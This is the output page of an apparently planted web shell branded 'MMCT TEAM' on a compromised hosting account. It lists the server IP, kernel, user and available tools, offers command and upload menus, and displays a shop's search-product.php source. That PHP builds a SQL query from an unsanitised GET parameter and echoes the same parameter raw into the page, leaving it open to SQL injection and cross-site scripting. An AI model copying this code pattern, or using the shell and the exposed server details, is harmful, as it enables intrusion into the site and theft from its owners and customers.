MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.68
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/imyrqtmy/www/agriba/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/www/agriba/search-product.php
<!DOCTYPE html>
<html lang="en">
   <meta http-equiv="content-type" content="text/html;charset=utf-8" />
      <head>
      <?php include 'includes/head.php'; 
           include 'includes/db-conn.inc.php';
     ?>
   </head>
   <body>
      <div class="backdrop"></div>
      <a class="backtop fas fa-arrow-up" href="#"></a>
      <?php include 'includes/top-header.php';
            include 'includes/header.php';
            include 'includes/website-menu.php'; 
            include 'includes/side-category.php';
            // include 'includes/cart-sidebar.php';
            // include 'includes/side-menu.php';
            include 'includes/mobile-footer.php';
         ?>
       <section class="inner-section single-banner" style="background: url(images/subscribe.webp) no-repeat center;">
         <div class="container">
            <h2>Search  </h2>
            <ol class="breadcrumb">
               <li class="breadcrumb-item"><a href="index.php">Home /</a></li>
               <li class="breadcrumb-item active" aria-current="page">Search Result - <?php echo $_GET['txtsearchproduct']; ?></li>
            </ol>
         </div>
      </section>
      <section class="inner-section shop-part">
         <div class="container">
            <div class="row content-reverse">
      
               <div class="col-lg-12">
                  <div class="row row-cols-2 row-cols-md-3 row-cols-lg-3 row-cols-xl-4">
   <?php
            $query = $_GET['txtsearchproduct']; 
            $min_length = 3;  
           if(strlen($query) >= $min_length){ 
 
           $i=1;
           $j=1;
           $s=1; 
           
            $raw_results=mysqli_query($conn,"select * from tbl_product WHERE (`productname` LIKE '%".$query."%') and status='1'") or die(mysqli_error());

        if(mysqli_num_rows($raw_results) > 0){ 

            while($results = mysqli_fetch_assoc($raw_results))
            {extract($results);
            $productidd=$results['productid'];
         $query2=mysqli_query($conn,"select * from tbl_product_price where productId='$productidd'") or die(mysqli_error($conn));

            $rw2=mysqli_fetch_assoc($query2);
                     $price=$rw2['pprice'];
                      $pmrp=$rw2['pmrp'];
        
        ?>                  
                     <!-- product start-->
                     <div class="col">
                 <div class="product-card" style="border: 1px solid darkgoldenrod;">
                     <div class="product-media">
                       
                        <a class="product-image" href="<?php echo $url; ?>.html">
                        <center><img src="media/product/thumb/<?php echo $thumb1 ?>" alt="product" ></a></center>
                     </div>
                        <div class="product-content">
                        <h6 class="product-name"><a href="<?php echo $url; ?>.html" style="text-transform: uppercase;"><?php echo $productname; ?></a></h6>
                        
                        <center><div class="feature-rating" style="justify-content: center;"><i class="active icofont-star"></i><i class="active icofont-star"></i><i class="active icofont-star"></i><i class="active icofont-star"></i><i class="active icofont-star"></i></div></center>

                         <h6 class="product-price" style="font-weight: 500;"><span style="color: red;">₹ <?php echo $price; ?></span> <span style="font-size: 14px;color: black;margin-left: 8px;"><del><?php echo $pmrp; ?></del> </span></h6> 
                          
                          
                        <a href="<?php echo $url; ?>.html" style="background-color:black;color: white;" class="product-add" title="View"><i class="fas fa-cart-plus"></i><span>Buy Now</span></a>
                     </div>
                  </div>
                     </div>
                    <!-- product close-->
      <?php }
             
        }
        else{ 
            echo "No results";
        }
         
    }
    else{ // if query length is less than minimum
        echo "Minimum length is ".$min_length;
    }
        ?>                  
                  </div>

               </div>
            </div>
         </div>
      </section>
   
     <?php include 'includes/footer.php'; ?>
      <script src="vendor/bootstrap/jquery-1.12.4.min.js"></script><script src="vendor/bootstrap/popper.min.js"></script><script src="vendor/bootstrap/bootstrap.min.js"></script><script src="vendor/countdown/countdown.min.js"></script><script src="vendor/niceselect/nice-select.min.js"></script><script src="vendor/slickslider/slick.min.js"></script><script src="vendor/venobox/venobox.min.js"></script><script src="js/nice-select.js"></script><script src="js/countdown.js"></script><script src="js/accordion.js"></script><script src="js/venobox.js"></script><script src="js/slick.js"></script><script src="js/main.js"></script>
   </body>
</html>

MMCT - 2023